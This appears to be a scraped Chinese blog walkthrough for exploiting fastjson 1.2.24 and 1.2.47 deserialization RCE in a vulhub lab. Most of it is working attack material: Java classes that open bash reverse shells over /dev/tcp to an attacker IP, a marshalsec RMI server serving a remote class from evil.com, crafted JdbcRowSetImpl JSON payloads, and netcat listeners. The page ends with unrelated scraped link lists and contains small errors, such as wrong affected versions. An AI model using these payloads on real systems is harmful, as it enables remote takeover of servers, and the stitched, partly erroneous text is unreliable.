一 漏洞描述

fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

受影响版本

fastjson <= 1.2.24

二 环境搭建docker-compose,vulhub

https://blog.csdn.net/weixin_52221158/article/details/125933759

vulhub:https://github.com/vulhub/vulhub

/vulhub-master/fastjson/1.2.24-rce]
└─# docker-compose up -d

目标 kali 192.168.1.240

攻击机 192.168.1.162

三 漏洞复现

访问ip:端口[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YSX9YRIb-1664586838689)(http://angus.gq/fastjson/1.png#pic_center)]

修改json时发生反序列化,抓包修改,或 向kali 发POST一个JSON对象,即可更新服务端的信息

POST / HTTP/1.1
Host: 192.168.1.240:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 26{"name":"hello", "age":20}

curl http://your-ip:8090/ -H "Content-Type: application/json" --data '{"name":"hello", "age":20}'

漏洞分析

http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/

JNDI注入

jdk1.8 生成TouchFile.class (注意这里端口和后面端口相同)

import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {static {try {Runtime r = Runtime.getRuntime();Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/攻击机ip/端口 0>&1"});p.waitFor();} catch (Exception e) {// do nothing}}
}
javac TouchFile.java

开启http服务

python3 -m http.serve 8000

通过marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class:

marshalsec:https://github.com/RandomRobbieBF/marshalsec-jar
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://evil.com/#TouchFile" 9999

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-88BmC8hI-1664586949138)(http://angus.gq/fastjson/5.png#pic_center)]

抓包发取payload

POST / HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://攻击ip:9999/TouchFile","autoCommit":true}
}

nc监听反弹shell

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NqTMsBQE-1664586959203)(http://angus.gq/fastjson/6.png#pic_center)]

四 参考链接

https://vulhub.org/#/environments/fastjson/1.2.24-rce/

https://blog.csdn.net/GX233/article/details/124254286

https://blog.csdn.net/weixin_45808483/article/details/121737289

Fastjson 1.2.47 远程命令执行漏洞

一 漏洞描述

Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令

受影响版本

fastjson <= 1.2.24

Fastjson RCE关键函数

DefaultJSONParser. parseObject() 解析传入的 json 字符串提取不同的 key 进行后续的处理

TypeUtils. loadClass() 根据传入的类名,生成类的实例

JavaBeanDeserializer. Deserialze() 依次调用 @type 中传入类的对象公有 set\get\is 方法。

ParserConfig. checkAutoType() 阿里后续添加的防护函数,用于在 loadclass 前检查传入的类是否合法。

二 环境搭建docker-compose,vulhub

https://blog.csdn.net/weixin_52221158/article/details/125933759

vulhub:https://github.com/vulhub/vulhub

[/vulhub-master/fastjson/1.2.47-rce]
└─# docker-compose up -d

目标 kali 192.168.1.240

攻击机 192.168.1.162 / win10 (python3.7 和jdk8 环境下)

三 漏洞复现 (方法与1.2.27-rce相似)

访问ip:端口

编写exp/同时开启web服务

Exploit.java
exp:
public class Exploit {public Exploit(){try{Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.1.162/8888 0>&1");}catch(Exception e){e.printStackTrace();}}public static void main(String[] argv){Exploit e = new Exploit();}
}

javac Exploit.java 编译成class文件,开启kali http服务

javac  Exploit.java
python -m SimpleHTTPServer 5555

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zrUM0XIH-1664586989306)(http://angus.gq/fastjson/9.png#pic_center)]

反弹shell

开启RMI服务,监听端口,并制定加载远程类Exploit.class

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.1.162:5555/#Exploit"

nc开启监听

nc -lvtp 12345

四 参考链接

https://www.cnblogs.com/peace-and-romance/p/15754787.html

https://www.likecs.com/show-306198709.html

fastjsonfastjson 1.2.24 反序列化导致任意命令执行相关推荐

  1. FastJson1.2.24反序列化导致任意命令执行漏洞复现(CVE-2017-18349)

    #FastJson1.2.24反序列化导致任意命令执行漏洞(CVE-2017-18349)# 一.漏洞简介 Pippo是一款基于Java的Web框架.FastjsonEngine是其中的一个JSON处 ...

  2. fastjson 1.2.24 反序列化导致任意命令执行漏洞(CVE-2017-18349)

    漏洞背景 Pippo是一款基于Java的Web框架.FastjsonEngine是其中的一个JSON处理引擎.Fastjson是其中的一个基于Java的JSON解析器/生成器. Pippo 1.11. ...

  3. fastjson 1.2.24 反序列化导致任意命令执行漏洞复现

    前言 fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,的作用就是把java对象转换为json形式,也可 以用来将json转换为java对象. fastjson在解析js ...

  4. CatfishCMS任意命令执行导致getshell

    CatfishCMS任意命令执行导致getshell 目录 一. 漏洞说明 二. 漏洞测试 三.漏洞修复 目录 测试环境:windows + php5.4.45 +apache (phpStudy 集 ...

  5. python直接执行代码漏洞_修复Python任意命令执行漏洞

    Author:JoyChou@美丽联合安全 Date:20180605 1. 前言 今天遇到一个不好做白名单的Python命令执行漏洞修复的问题.由于是shell=True导致的任意命令执行,一开始大 ...

  6. jenkins java反序列化_Jenkins “Java 反序列化”过程远程命令执行漏洞

    ###漏洞原理 反序列化是指特定语言中将传递的对象序列化数据重新恢复为实例对象的过程,而在这个过程中会执行一系列的字节流解析和对象实例化操作用于恢复之前序列化时的对象.在原博文所提到的那些 Java ...

  7. 漏洞payload 靶机_学生会私房菜【20200707期】Wordpress 4.6 任意命令执行漏洞

    学生会私房菜 学生会私房菜是通过学生会信箱收集同学们的来稿,挑选其中的优质文档,不定期进行文档推送的主题. 本期文档内容为:<Wordpress 4.6 任意命令执行漏洞> 作者介绍:AT ...

  8. 【漏洞复现】XMind2020及2021beta版本存在xss漏洞导致任意代码执行

    简介 XMind是一种功能齐全的思维导图和头脑风暴工具,旨在产生想法,激发创造力,并在工作和生活中带来效率.数以百万计的用户们喜欢它 漏洞(xss) XMind2020及2021beta版本存在xss ...

  9. couchdb 任意命令执行漏洞(cve-2017-12636)

    Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库".它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和 ...

最新文章

  1. 别的程序员是怎么读你的简历的
  2. 六十四、SpringBoot中的模板引擎Thymeleaf
  3. mysql definer_mysql常见问题之视图权限控制--安全性为DEFINER
  4. Java线程的6种状态
  5. 作者:秦兵(1968-),女,哈尔滨工业大学计算机科学与技术学院教授、博士生导师。...
  6. 集成学习 Ensemble Learing(???)
  7. 《Ubuntu学习笔记》——如何建立软链接
  8. iOS底层探索之对象的本质和类的关联特性initIsa(下)
  9. 四种依恋类型_你们之间的爱情是哪种类型 | 爱情依恋关系测评
  10. 关于秒杀的细节,了解多少
  11. 计算机英语rom是什么意思,涨姿势!电脑里的rom,ram是什么意思?
  12. 组件、控件和插件的区别
  13. 通过ip地址连接局域网内的打印机(win7、win10)
  14. Unity 之游戏特效
  15. 学了python能找人吗_只学python能找工作吗
  16. EAS融资租赁系统(财务业务一体化)
  17. IntelliJ IDEA 快捷键大全
  18. CobaltStrike魔改与增强
  19. OpenCV-C++实现单应性矩阵的求解
  20. springmvc学习记录

热门文章

  1. 民宿类APP开发功能
  2. Android R- CarAudioService之registerAudioPolicy动态注册(一)
  3. 计算机中丢失ucore46.dll,Creo6.0 Purge功能 如果试过各种方法还不能使用,可以试下这个方法...
  4. axure 元件_Axure动态面板(上下左右滑动页面)
  5. WinRAR 压缩文件的时候排除指定的目录文件夹
  6. CS224n笔记——Subword Model(十二)
  7. 电脑出现白屏怎么办(软件有的能打开,就是一开机就出现白屏)(亲测有效)
  8. 2021年Android工作或许更难找,面试资料分享
  9. Leetcode滑窗系列(java):643. 子数组最大平均数 I
  10. 基于非对称纳什谈判的多微网电能共享运行优化策略